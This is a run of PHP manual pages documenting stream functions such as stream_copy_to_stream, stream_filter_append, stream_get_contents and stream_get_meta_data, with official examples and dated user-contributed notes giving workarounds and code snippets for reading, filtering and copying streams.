params should be an associative array of the structure: $params['paramname'] = "paramvalue";.

Supported parameters

Parameters | Purpose
notification | Name of user-defined callback function to be called whenever a stream triggers a notification.
options | Array of options as in context options and parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • stream_notification_callback() - A callback function for the notification context paramater

User Contributed Notes

There are no user contributed notes for this page.
stream_context_set_option
stream_copy_to_stream
Stream Functions


Copies data from one stream to another

stream_context_set_params
stream_encoding
Stream Functions
PHP Manual

stream_copy_to_stream

(PHP 5)

stream_copy_to_stream — Copies data from one stream to another

Description

int stream_copy_to_stream ( resource $source , resource $dest [, int $maxlength = -1 [, int $offset = 0 ]] )

Makes a copy of up to maxlength bytes of data from the current position (or from the offset position, if specified) in source to dest. If maxlength is not specified, all remaining content in source will be copied.

Parameters

source

The source stream

dest

The destination stream

maxlength

Maximum bytes to copy

offset

The offset where to start to copy data

Return Values

Returns the total count of bytes copied.

Changelog

Version | Description
5.1.0 | Added the offset parameter

Examples

Example #1 A stream_copy_to_stream() example

<?php
$src = fopen('http://www.example.com', 'r');
$dest1 = fopen('first1k.txt', 'w');
$dest2 = fopen('remainder.txt', 'w');

echo stream_copy_to_stream($src, $dest1, 1024) . " bytes copied to first1k.txt\n";
echo stream_copy_to_stream($src, $dest2) . " bytes copied to remainder.txt\n";

?>

See Also

  • copy() - Copies file

User Contributed Notes

felix dot nensa at gmail dot com 26-May-2010 04:57
As stream_copy_to_stream() seems to be quite a memory hog (at least in PHP 5.1.6 64-bit) it may be way more efficient just to copy streams with this simple PHP alternative:

<?php

    function pipe_streams($in, $out)
    {
        $size = 0;
        while (!feof($in)) $size += fwrite($out,fread($in,8192));
        return $size;
    }

?>
sundance2001 guess what gmail.com 25-Jul-2007 06:54
If you need to copy a file from any website into yours you can use following function:

function getUrlContents($url)
{
   $url_parsed = parse_url($url);

   $host = $url_parsed["host"];
   if ($url == '' || $host == '') {
       return false;
   }
   $port = 80;
   $path = (empty($url_parsed["path"]) ? '/' : $url_parsed["path"]);
   $path.= (!empty($url_parsed["query"]) ? '?'.$url_parsed["query"] : '');
   $out = "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
   $fp = fsockopen($host, $port, $errno, $errstr, 30);
   fwrite($fp, $out);
   $headers = '';
   $content = '';
   $buf = '';
   $isBody = false;
  while (!feof($fp) and !$isBody) {
          $buf = fgets($fp, 1024);
          if ($buf == "\r\n" ) {$isBody = true;}
          else{$headers .= $buf;}
          }
          $file1 = fopen(basename($url_parsed["path"]), 'w');
          $bytes=stream_copy_to_stream($fp,$file1);
   fclose($fp);
   return $bytes;
}
none at noone dot com 15-Jun-2007 04:27
stream_copy_to_stream almost copies a stream...

$objInputStream = fopen("php://input", "rb");
$objTempStream = fopen("php://temp", "w+b");
stream_copy_to_stream($objInputStream, $objTempStream);

That code will copy a stream but it will also move the stream pointers to EOF.  This is fine if you plan on rewinding the temp stream but good luck rewinding the input stream.

rewind($objTempStream);
rewind($objInputStream);

So as you can see this is stream copy or stream move depending on what kind of stream you are working with, and because there are no peaking functions your effed if you need to read from an input stream in multiple classes that are unrelated.
stream_context_set_params
stream_encoding
Stream Functions


Set character set for stream encoding

stream_copy_to_stream
stream_filter_append
Stream Functions
PHP Manual

stream_encoding

(No version information available, might only be in SVN)

stream_encoding — Set character set for stream encoding

Description

bool stream_encoding ( resource $stream [, string $encoding ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

hajo at clansphere dot de 19-Jun-2009 03:46
with php 5.2+ you can (should!) use the following line next to e.g. fopen() and specify the encoding of the content:

<?php
$charset = 'UTF-8';

stream_encoding($handle, $charset);
?>

in addition php 6 seems to need this since it triggers a notice level error if special chars must be converted and the above command is not specified (binary data excluded - just talkin bout clear text in this comment)
stream_copy_to_stream
stream_filter_append
Stream Functions


Attach a filter to a stream

stream_encoding
stream_filter_prepend
Stream Functions
PHP Manual

stream_filter_append

(PHP 4 >= 4.3.0, PHP 5)

stream_filter_append — Attach a filter to a stream

Description

resource stream_filter_append ( resource $stream , string $filtername [, int $read_write [, mixed $params ]] )

Adds filtername to the list of filters attached to stream.

Parameters

stream

The target stream.

filtername

The filter name.

read_write

By default, stream_filter_append() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior.

params

This filter will be added with the specified params to the end of the list and will therefore be called last during stream operations. To add a filter to the beginning of the list, use stream_filter_prepend().

Return Values

Returns a resource which can be used to refer to this filter instance during a call to stream_filter_remove().

Changelog

Version | Description
5.1.0 | Prior to PHP 5.1.0, this function returns TRUE on success or FALSE on failure.

Examples

Example #1 Controlling where filters are applied

<?php
/* Open a test file for reading and writing */
$fp = fopen('test.txt', 'w+');

/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);

/* Write a simple string to the file
 * it will be ROT13 transformed on the
 * way out */
fwrite($fp, "This is a test\n");

/* Back up to the beginning of the file */
rewind($fp);

/* Read the contents of the file back out.
 * Had the filter been applied to the
 * read filter chain as well, we would see
 * the text ROT13ed back to its original state */
fpassthru($fp);

fclose($fp);

/* Expected Output
   ---------------

Guvf vf n grfg

 */
?>

Notes

Note: When using custom (user) filters
stream_filter_register() must be called first in order to register the desired user filter to filtername.

Note: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is appended to a stream, data in the internal buffers is processed through the new filter at that time. This differs from the behavior of stream_filter_prepend().

Note: When a filter is added for read and write, two instances of the filter are created. stream_filter_append() must be called twice with STREAM_FILTER_READ and STREAM_FILTER_WRITE to get both filter resources.

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_prepend() - Attach a filter to a stream
  • stream_get_filters() - Retrieve list of registered filters

User Contributed Notes

dlvoy 23-Jul-2008 12:20
While using compression filters on a large set of files during one script invocation i've got
        Fatal error: Allowed memory size of xxx bytes exhausted
even when my max memory limit settings was insane high (128MB)

Workaround is to remember to remove filter after work done with stream_filter_remove:

<?php
foreach($lot_of_files as $filename)
{
    $fp = fopen($filename, 'rb');
    $filter_params = array('level' => 2, 'window' => 15, $memory => 6);
    $s_filter = stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_READ, $filter_params);
    // here stream-operating code

    stream_filter_remove($s_filter);

    fclose($fp);
}
?>
net_navard at yahoo dot com 12-Dec-2005 10:47
Hello firends

The difference betweem adding a stream filter first or last in the filte list in only the order they will be applied to streams.

For example, if you're reading data from a file, and a given filter is placed in first place with stream_filter_prepend()the data will be processed by that filter first.

This example reads out file data and the filter is applied at the beginning of the reading operation:

<?php
/* Open a test file for reading */
$fp = fopen("test.txt", "r");
/* Apply the ROT13 filter to the
 * read filter chain, but not the
 * write filter chain */
stream_filter_prepend($fp, "string.rot13",
STREAM_FILTER_READ);
// read file data
$contents=fread($fp,1024);
// file data is first filtered and stored in $contents
echo $contents;
fclose($fp);
?>

On the other hand, if stream_filter_append() is used, then the filter will be applied at the end of the data operation. The thing about this is only the order filters are applied to streams. Back to the example, it's not the same thing removing new lines from file data and then counting the number of characters, than performing the inverse process. In this case, the order that filters are applied to stream is important.

This example writes a test string to a file. The filter is applied at the end of the writing operation:

<?php
/* Open a test file for writing */
$fp = fopen("test.txt", "w+");
/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13",
STREAM_FILTER_WRITE);
/* Write a simple string to the file
 * it will be ROT13 transformed at the end of the
stream operation
 * way out */
fwrite($fp, "This is a test\n"); // string data is
first written, then ROT13 tranformed and lastly
written to file
/* Back up to the beginning of the file */
rewind($fp);
$contents=fread($fp,512);
fclose($fp);
echo $contents;
?>

In the first case, data is transformed at the end of the writing operation, while in the second one, data is first filtered and then stored in $contents.

                          With Regards
                              Hossein
stream_encoding
stream_filter_prepend
Stream Functions


Attach a filter to a stream

stream_filter_append
stream_filter_register
Stream Functions
PHP Manual

stream_filter_prepend

(PHP 4 >= 4.3.0, PHP 5)

stream_filter_prepend — Attach a filter to a stream

Description

resource stream_filter_prepend ( resource $stream , string $filtername [, int $read_write [, mixed $params ]] )

Adds filtername to the list of filters attached to stream.

Parameters

stream

The target stream.

filtername

The filter name.

read_write

By default, stream_filter_prepend() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior. See stream_filter_append() for an example of using this parameter.

params

This filter will be added with the specified params to the beginning of the list and will therefore be called first during stream operations. To add a filter to the end of the list, use stream_filter_append().

Return Values

Returns a resource which can be used to refer to this filter instance during a call to stream_filter_remove().

Changelog

Version | Description
5.1.0 | Prior to PHP 5.1.0, this function returns TRUE on success or FALSE on failure.

Notes

Note: When using custom (user) filters
stream_filter_register() must be called first in order to register the desired user filter to filtername.

Note: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is prepended to a stream, data in the internal buffers, which has already been processed through other filters will not be reprocessed through the new filter at that time. This differs from the behavior of stream_filter_append().

Note: When a filter is added for read and write, two instances of the filter are created. stream_filter_prepend() must be called twice with STREAM_FILTER_READ and STREAM_FILTER_WRITE to get both filter resources.

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_append() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.
stream_filter_append
stream_filter_register
Stream Functions


Register a user defined stream filter

stream_filter_prepend
stream_filter_remove
Stream Functions
PHP Manual

stream_filter_register

(PHP 5)

stream_filter_register — Register a user defined stream filter

Description

bool stream_filter_register ( string $filtername , string $classname )

stream_filter_register() allows you to implement your own filter on any registered stream used with all the other filesystem functions (such as fopen(), fread() etc.).

Parameters

filtername

The filter name to be registered.

classname

To implement a filter, you need to define a class as an extension of php_user_filter with a number of member functions as defined below. When performing read/write operations on the stream to which your filter is attached, PHP will pass the data through your filter (and any other filters attached to that stream) so that the data may be modified as desired. You must implement the methods exactly as described below - doing otherwise will lead to undefined behaviour.

int filter ( resource $in , resource $out , int &$consumed , bool $closing )

This method is called whenever data is read from or written to the attached stream (such as with fread() or fwrite()). in is a resource pointing to a bucket brigade which contains one or more bucket objects containing data to be filtered. out is a resource pointing to a second bucket brigade into which your modified buckets should be placed. consumed, which must always be declared by reference, should be incremented by the length of the data which your filter reads in and alters. In most cases this means you will increment consumed by $bucket->datalen for each $bucket. If the stream is in the process of closing (and therefore this is the last pass through the filterchain), the closing parameter will be set to TRUE. The filter() method must return one of three values upon completion.

Return Value | Meaning
PSFS_PASS_ON | Filter processed successfully with data available in the out bucket brigade.
PSFS_FEED_ME | Filter processed successfully, however no data was available to return. More data is required from the stream or prior filter.
PSFS_ERR_FATAL (default) | The filter experienced an unrecoverable error and cannot continue.

bool onCreate ( void )
This method is called during instantiation of the filter class object. If your filter allocates or initializes any other resources (such as a buffer), this is the place to do it. Your implementation of this method should return FALSE on failure, or TRUE on success. When your filter is first instantiated, and yourfilter->onCreate() is called, a number of properties will be available as shown in the table below.

Property | Contents
FilterClass->filtername | A string containing the name the filter was instantiated with. Filters may be registered under multiple names or under wildcards. Use this property to determine which name was used.
FilterClass->params | The contents of the params parameter passed to stream_filter_append() or stream_filter_prepend().
FilterClass->stream | The stream resource being filtered. Maybe available only during filter() calls when the closing parameter is set to FALSE.

void onClose ( void )

This method is called upon filter shutdown (typically, this is also during stream shutdown), and is executed after the flush method is called. If any resources were allocated or initialized during onCreate() this would be the time to destroy or dispose of them.

Return Values

Returns TRUE on success or FALSE on failure.

stream_filter_register() will return FALSE if the filtername is already defined.

Examples

Example #1 Filter for capitalizing characters on foo-bar.txt stream

The example below implements a filter named strtoupper on the foo-bar.txt stream which will capitalize all letter characters written to/read from that stream.

<?php

/* Define our filter class */
class strtoupper_filter extends php_user_filter {
  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $bucket->data = strtoupper($bucket->data);
      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }
}

/* Register our filter with PHP */
stream_filter_register("strtoupper", "strtoupper_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened */
stream_filter_append($fp, "strtoupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
 */
readfile("foo-bar.txt");

?>

The above example will output:

LINE1
WORD - 2
EASY AS 123

Example #2 Registering a generic filter class to match multiple filter names.

<?php

/* Define our filter class */
class string_filter extends php_user_filter {
  var $mode;

  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      if ($this->mode == 1) {
        $bucket->data = strtoupper($bucket->data);
      } elseif ($this->mode == 0) {
        $bucket->data = strtolower($bucket->data);
      }

      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }

  function onCreate()
  {
    if ($this->filtername == 'str.toupper') {
      $this->mode = 1;
    } elseif ($this->filtername == 'str.tolower') {
      $this->mode = 0;
    } else {
      /* Some other str.* filter was asked for,
         report failure so that PHP will keep looking */
      return false;
    }

    return true;
  }
}

/* Register our filter with PHP */
stream_filter_register("str.*", "string_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened
   We could alternately bind to str.tolower here */
stream_filter_append($fp, "str.toupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
 */
readfile("foo-bar.txt");
?>

The above example will output:

LINE1
WORD - 2
EASY AS 123

See Also

  • stream_wrapper_register() - Register a URL wrapper implemented as a PHP class
  • stream_filter_append() - Attach a filter to a stream
  • stream_filter_prepend() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.
stream_filter_prepend
stream_filter_remove
Stream Functions


Remove a filter from a stream

stream_filter_register
stream_get_contents
Stream Functions
PHP Manual

stream_filter_remove

(PHP 5 >= 5.1.0)

stream_filter_remove — Remove a filter from a stream

Description

bool stream_filter_remove ( resource $stream_filter )

Removes a stream filter previously added to a stream with stream_filter_prepend() or stream_filter_append(). Any data remaining in the filter's internal buffer will be flushed through to the next filter before removing it.

Parameters

stream_filter

The stream filter to be removed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Dynamicly refiltering a stream

<?php
/* Open a test file for reading and writing */
$fp = fopen("test.txt", "rw");

$rot13_filter = stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);
fwrite($fp, "This is ");
stream_filter_remove($rot13_filter);
fwrite($fp, "a test\n");

rewind($fp);
fpassthru($fp);
fclose($fp);

?>

The above example will output:

Guvf vf a test

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_append() - Attach a filter to a stream
  • stream_filter_prepend() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.
stream_filter_register
stream_get_contents
Stream Functions


Reads remainder of a stream into a string

stream_filter_remove
stream_get_filters
Stream Functions
PHP Manual

stream_get_contents

(PHP 5)

stream_get_contents — Reads remainder of a stream into a string

Description

string stream_get_contents ( resource $handle [, int $maxlength = -1 [, int $offset = -1 ]] )

Identical to file_get_contents(), except that stream_get_contents() operates on an already open stream resource and returns the remaining contents in a string, up to maxlength bytes and starting at the specified offset.

Parameters

handle (resource)

A stream resource (e.g. returned from fopen())

maxlength (integer)

The maximum bytes to read. Defaults to -1 (read all the remaining buffer).

offset (integer)

Seek to the specified offset before reading. If this number is negative, no seeking will occur and reading will start from the current position.

Return Values

Returns a string or FALSE on failure.

Changelog

Version | Description
5.1.0 | The offset was added.

Examples

Example #1 stream_get_contents() example

<?php

if ($stream = fopen('http://www.example.com', 'r')) {
    // print all the page starting at the offset 10
    echo stream_get_contents($stream, -1, 10);

    fclose($stream);
}

if ($stream = fopen('http://www.example.net', 'r')) {
    // print the first 5 bytes
    echo stream_get_contents($stream, 5);

    fclose($stream);
}

?>

Notes

Note: This function is binary-safe.

See Also

  • fgets() - Gets line from file pointer
  • fread() - Binary-safe file read
  • fpassthru() - Output all remaining data on a file pointer

User Contributed Notes

clarck dot smith at gmail dot com 17-Dec-2011 07:12
In that case when stream_get_contents/fread/fgets or other stream reading functions block indefinitely your script because they don't reached the limit of bytes to read use the socket_get_meta_data function to figure out the number of the bytes to read. It returns an array that contains a key named 'unread_bytes' and then pass that number to your favourite stream reading functions second parameter to read from the stream.

Maybe a good workaround to use the stream_select function, and set the socket to non-blocking mode with the use of stream_set_blocking($stream, 0). In this case the socket reading functions work properly.

Cheers, Ervin
Anonymous 03-Jul-2011 05:46
It seems that using fiddler as a proxy in the stream context options causes this function to throw a warning:

Warning: stream_get_contents() [function.stream-get-contents]: SSL: An existing connection was forcibly closed by the remote host.
m rahman 20-Jan-2011 01:53
When omitting the parameter $maxlength, any received bytes are stacked up until the underlying stream is not readable anymore, the the function returns that stack in one piece.
finalmau at gmail dot com 29-Apr-2008 04:28
some times this functions cause an max execution time time error, Why?

Simple, if you use it the function wait for have the specified byte  length into the resource or the end of file, but, several times this not happend, so we need implement an artificial flag like this:

$tmp = stream_get_contents($this->socket, 42);
while($tmp[42] != 'N'){

//Your code...

$tmp = stream_get_contents($this->socket, 42);
}
Jim Keller 28-Aug-2006 01:04
Per wez (at php.net), "the trick is to tell the recipient how big the packet is, so that it can read the correct length."

In my own experience, when using PHP streams to send data bursts, the "max length" parameter seems to act more as an exact length parameter, as the stream will block indefinitely until max length is reached or until the other side fcloses() the stream. The latter is ok unless you need to keep the stream open to continue communication, in which case you have to let the receiving end know how much data to expect, or it will block indefinitely if the max length of data is not sent. You need to pack() and prepend the length of the outgoing data stream in the first 4 bytes of the packet, as follows:

function send_pkt($stream, $my_data)
{

   $len = strlen($my_data);

   $send_data = pack('N', $len) . $my_data; //Pack the length in a network-friendly way, then prepend it to the data.

   $final_len = strlen($send_data);

   if ( fwrite($stream, $send_data) < $final_len ) {
                   //something went wrong, trigger error
   }
}

function recv_pkt($stream)
{

   $packed_len = stream_get_contents($stream, 4); //The first 4 bytes contain our N-packed length
   $hdr = unpack('Nlen', $packed_len);
   $len = $hdr['len'];
   $recvd_data = stream_get_contents($stream, $len);

   return $recvd_data;

}
stream_filter_remove
stream_get_filters
Stream Functions


Retrieve list of registered filters

stream_get_contents
stream_get_line
Stream Functions
PHP Manual

stream_get_filters

(PHP 5)

stream_get_filters — Retrieve list of registered filters

Description

array stream_get_filters ( void )

Retrieve the list of registered filters on the running system.

Return Values

Returns an indexed array containing the name of all stream filters available.

Examples

Example #1 Using stream_get_filters()

<?php
$streamlist = stream_get_filters();
print_r($streamlist);
?>

The above example will output something similar to:

Array (
  [0] => string.rot13
  [1] => string.toupper
  [2] => string.tolower
  [3] => string.base64
  [4] => string.quoted-printable
)

See Also

  • stream_filter_register() - Register a user defined stream filter
  • stream_get_wrappers() - Retrieve list of registered streams

User Contributed Notes

Jasper Bekkers 05-Oct-2005 11:53
Filters to be used within the convert filter are base64-encode,  base64-decode, quoted-printable-encode and quoted-printable-decode. Note: those are not in the string filter, as currently reported by the manual!

Example usage is:
<?php
$h = fopen('gecodeerd.txt', 'r');
stream_filter_append($h, 'convert.base64-decode');
fpassthru($h);
fclose($h);
?>
Or
<?php
$filter = 'convert.base64-decode';
$file = 'coded.txt';
$h = fopen('php://filter/read=' . $filter . '/resource=' . $file,'r');
fpassthru($h);
fclose($h);
?>
stream_get_contents
stream_get_line
Stream Functions


Gets line from stream resource up to a given delimiter

stream_get_filters
stream_get_meta_data
Stream Functions
PHP Manual

stream_get_line

(PHP 5)

stream_get_line — Gets line from stream resource up to a given delimiter

Description

string stream_get_line ( resource $handle , int $length [, string $ending ] )

Gets a line from the given handle.

Reading ends when length bytes have been read, when the string specified by ending is found (which is not included in the return value), or on EOF (whichever comes first).

This function is nearly identical to fgets() except in that it allows end of line delimiters other than the standard \n, \r, and \r\n, and does not return the delimiter itself.

Parameters

handle

A valid file handle.

length

The number of bytes to read from the handle.

ending

An optional string delimiter.

Return Values

Returns a string of up to length bytes read from the file pointed to by handle.

If an error occurs, returns FALSE.

See Also

  • fread() - Binary-safe file read
  • fgets() - Gets line from file pointer
  • fgetc() - Gets character from file pointer

User Contributed Notes

pk at ritm dot ru 30-Nov-2009 09:30
fgets is faster but stream_get_line is more useful in a tcp server scripts.

when fgets reads some bytes from socket, where EOF is reached, it returns bool(false) same as stream_get_line

BUT if remote client drops connection, and server script will try to read some data with function fgets, function will return bool(false), and stream_get_line will return string(0) ""

so you can detect remote client disconnection with stream_get_line, and cannot with fgets
amoo_miki at yahoo dot com 19-Aug-2008 10:34
If the "ending" is a string, there are cases where the function doesn't return the correct value for the first time it is called. Don't be shocked if you find it returning a string value of upto "length" that includes the "ending". (See bug #44607)

If the "ending" is just a single character, the function would always work correctly. ("\n" is a single character)

Temporarily, until this is fixed, the below function can be used:

<?php
function istream_get_line(&$fp, $length, $end) {
    $current = ftell($fp);
    $str = fread($fp, $length);
    $i = strpos($str, $end);
    if ($i === FALSE) {
        return $str;
    } else {
        fseek($fp, $current + $i + strlen($end));
        return substr($str, 0, $i);
    }
}
?>
Mat Jaggard at Tickets dot com 20-Dec-2007 08:12
I've spent quite a while trying to get stream_get_line to get a chunk encoded html file and to finish correctly at the end so that I can pipeline requests.

This is the function I have come up with.

<?php
    function getURLContents($url, $ip, $port, $ssl = false, $closeConnection = false)
    {
        if ($ssl)
            $ssl = 'ssl://';
        else
            $ssl = '';
        $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
        if ($fp)
        {
            $out =  'GET '.$url." HTTP/1.1\r\n";
            $out .= 'Host: '.$ip.':'.$port."\r\n";
            if ($closeConnection)
                $out .= "Connection: close\r\n";
            else
                $out .= "Connection: keep-alive\r\n";
            $out .= "\r\n";
            if (!fwrite($fp, $out))
            {
                echo 'Problem writing to socket, opening a new connection.';
                fclose($fp);
                $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
                fwrite($fp, $out);
            }
            $theData = '';
            $notDone = true;
            stream_set_blocking($fp, 0);
            $startTime = time();
            $lastTime = $startTime;
            while (!feof($fp) && !$done && (($startTime + MAX_TIME_FOR_THE_RESPONSE) > time()))
            {
                usleep(100);
                $theNewData = stream_get_line($fp, 1024, "\n");
                $theData .= $theNewData;
                $done = (trim($theNewData) === '0');

            }
        }
        else
        {
            echo 'ERROR CONNECTING TO '.$ip.':'.$port;
            return false;
        }
        if ($closeConnection)
            fclose($fp);
        return $theData;
    }
?>
dante at lorenso dot com 08-Jun-2006 12:34
My testing has found this function to be dramatically faster than fgets on PHP 5.1.14.  The difference is probably due to how buffering is used internally.  Compare the following:
<?php
// reads 10,000 lines in 27 seconds
while (!feof($handle)) {
    $line = fgets($handle, 1000000);
}
?>
vs.
<?php
// reads 10,000 lines in 0.5 seconds
while (!feof($handle)) {
    $line = stream_get_line($handle, 1000000, "\n");
}
?>
18-Apr-2006 02:07
In version 5.0.4 using this funtion and then calling ftell($stream) would give you the position up to but not including the "ending" string.

When I rev'd to PHP version 5.1.2, calling this function then using ftell($stream) would give the position up to AND including the "ending" string

for example, parsing HTTP responses.

The response from apache using curl....
------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Apr 2006 20:54:59 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.4 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/5.0.4
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>test</body></html>
-------------------------------------------------------------

The code:

<?php

  $headers = stream_get_line($in,4096,"\r\n\r\n");

   fseek ($in,ftell($in)+4);

   while (!feof($in)){
      fputs ($out,stream_get_line($in,4096,''));
   }

?>

prior to my 5.0.4 this worked perfectly, trimming the \r\n\r\n section of the HTTP response and seperating the top into the $headers string, and the rest was placed into the file handle $out.

using php 5.1.2, the above code chopps off the first 4 bytes of the HTTP response and puts

l><body>test</body></html>

into $out.
stream_get_filters
stream_get_meta_data
Stream Functions


Retrieves header/meta data from streams/file pointers

stream_get_line
stream_get_transports
Stream Functions
PHP Manual

stream_get_meta_data

(PHP 4 >= 4.3.0, PHP 5)

stream_get_meta_data — Retrieves header/meta data from streams/file pointers

Description

array stream_get_meta_data ( resource $stream )

Returns information about an existing stream.

Parameters

stream

The stream can be any stream created by fopen(), fsockopen() and pfsockopen().

Return Values

The result array contains the following items:

  • timed_out (bool) - TRUE if the stream timed out while waiting for data on the last call to fread() or fgets().

  • blocked (bool) - TRUE if the stream is in blocking IO mode. See stream_set_blocking().

  • eof (bool) - TRUE if the stream has reached end-of-file. Note that for socket streams this member can be TRUE even when unread_bytes is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

  • unread_bytes (int) - the number of bytes currently contained in the PHP's own internal buffer.

    Note: You shouldn't use this value in a script.

  • stream_type (string) - a label describing the underlying implementation of the stream.

  • wrapper_type (string) - a label describing the protocol wrapper implementation layered over the stream. See Supported Protocols and Wrappers for more information about wrappers.

  • wrapper_data (mixed) - wrapper specific data attached to this stream. See Supported Protocols and Wrappers for more information about wrappers and their wrapper data.

  • filters (array) - and array containing the names of any filters that have been stacked onto this stream. Documentation on filters can be found in the Filters appendix.

  • mode (string) - the type of access required for this stream (see Table 1 of the fopen() reference)

  • seekable (bool) - whether the current stream can be seeked.

  • uri (string) - the URI/filename associated with this stream.

Changelog

Version | Description
5.0.0 | The following entries were added in the returned array: mode, seekable, and uri.
4.3.0 | The following entries were added in the returned array: stream_type, wrapper_type, wrapper_data, and filters.
4.3.0 | socket_get_status() is an alias for this function. Prior to PHP 4.3.0, it was used to retrieve the first four items, for socket based streams only.

Examples

Example #1 stream_get_meta_data() example

<?php
$url = 'http://www.example.com/';

if (!$fp = fopen($url, 'r')) {
    trigger_error("Unable to open URL ($url)", E_USER_ERROR);
}

$meta = stream_get_meta_data($fp);

print_r($meta);

fclose($fp);
?>

The above example will output something similar to:

Array
(
    [wrapper_data] => Array
        (
            [0] => HTTP/1.1 200 OK
            [1] => Server: Apache/2.2.3 (Red Hat)
            [2] => Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
            [3] => ETag: "b300b4-1b6-4059a80bfd280"
            [4] => Accept-Ranges: bytes
            [5] => Content-Type: text/html; charset=UTF-8
            [6] => Set-Cookie: FOO=BAR; expires=Fri, 21-Dec-2012 12:00:00 GMT; path=/; domain=.example.com
            [6] => Connection: close
            [7] => Date: Fri, 16 Oct 2009 12:00:00 GMT
            [8] => Age: 1164
            [9] => Content-Length: 438
        )

    [wrapper_type] => http
    [stream_type] => tcp_socket/ssl
    [mode] => r
    [unread_bytes] => 438
    [seekable] =>
    [uri] => http://www.example.com/
    [timed_out] =>
    [blocked] => 1
    [eof] =>
)

Notes

Note:

This function does NOT work on sockets created by the Socket extension.

See Also

  • get_headers() - Fetches all the headers sent by the server in response to a HTTP request
  • $http_response_header

User Contributed Notes

niels at nise81 dot com 03-Mar-2008 05:49
here is just an example how to read out all meta data.
how ever I found out that the "seekable"-entry doesn't exist in most of the streaming media files.

      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);

          foreach(array_keys($meta) as $h){
              $v = $meta[$h];
              echo "".$h.": ".$v."<br/>";
              if(is_array($v)){
                  foreach(array_keys($v) as $hh){
                      $vv = $v[$hh];
                      echo "_".$hh.": ".$vv."<br/>";
                  }
              }
          }
      fclose($fp);
ed at readinged dot com 28-Jan-2003 07:54
Below is a function I wrote to pull the "Last-Modified" header from a given URL.  In PHP version 4.3 and above, it takes advantage of the stream_get_meta_data function, and in older version it uses a conventional GET procedure.  On failure to connect to $url, it returns NULL.  If the server does not return the Last-Modified header, it returns the current time.  All times are returned in PHP's integer format (seconds since epoch).

Use it as so:

$last_modified = stream_last_modified('http://www.php.net/news.rss');
if (!is_null($last_modified))
   if ($last_modified < time()-3600) //Older than an hour
      echo 'URL is older than an hour.';
   else
      echo 'URL is fairly new.';
else
   echo 'Invalid URL!';

function stream_last_modified($url)
{
   if (function_exists('version_compare') && version_compare(phpversion(), '4.3.0') > 0)
   {
      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);
      for ($j = 0; isset($meta['wrapper_data'][$j]); $j++)
      {
         if (strstr(strtolower($meta['wrapper_data'][$j]), 'last-modified'))
         {
            $modtime = substr($meta['wrapper_data'][$j], 15);
            break;
         }
      }
      fclose($fp);
   }
   else
   {
      $parts = parse_url($url);
      $host  = $parts['host'];
      $path  = $parts['path'];

      if (!($fp = @fsockopen($host, 80)))
         return NULL;

      $req = "HEAD $path HTTP/1.0\r\nUser-Agent: PHP/".phpversion()."\r\nHost: $host:80\r\nAccept: */*\r\n\r\n";
      fputs($fp, $req);

      while (!feof($fp))
      {
         $str = fgets($fp, 4096);
         if (strstr(strtolower($str), 'last-modified'))
         {
            $modtime = substr($str, 15);
            break;
         }
      }
      fclose($fp);
  }
   return isset($modtime) ? strtotime($modtime) : time();
}
stream_get_line
stream_get_transports
Stream Functions


Retrieve list of registered socket transports

stream_get_meta_data
stream_get_wrappers
Stream Functions
PHP Manual

stream_get_transports

(PHP 5)

stream_get_transports — Retrieve list of registered socket transports

Description

array stream_get_transports ( void )

Returns an indexed array containing the name of all socket transports available on the running system.

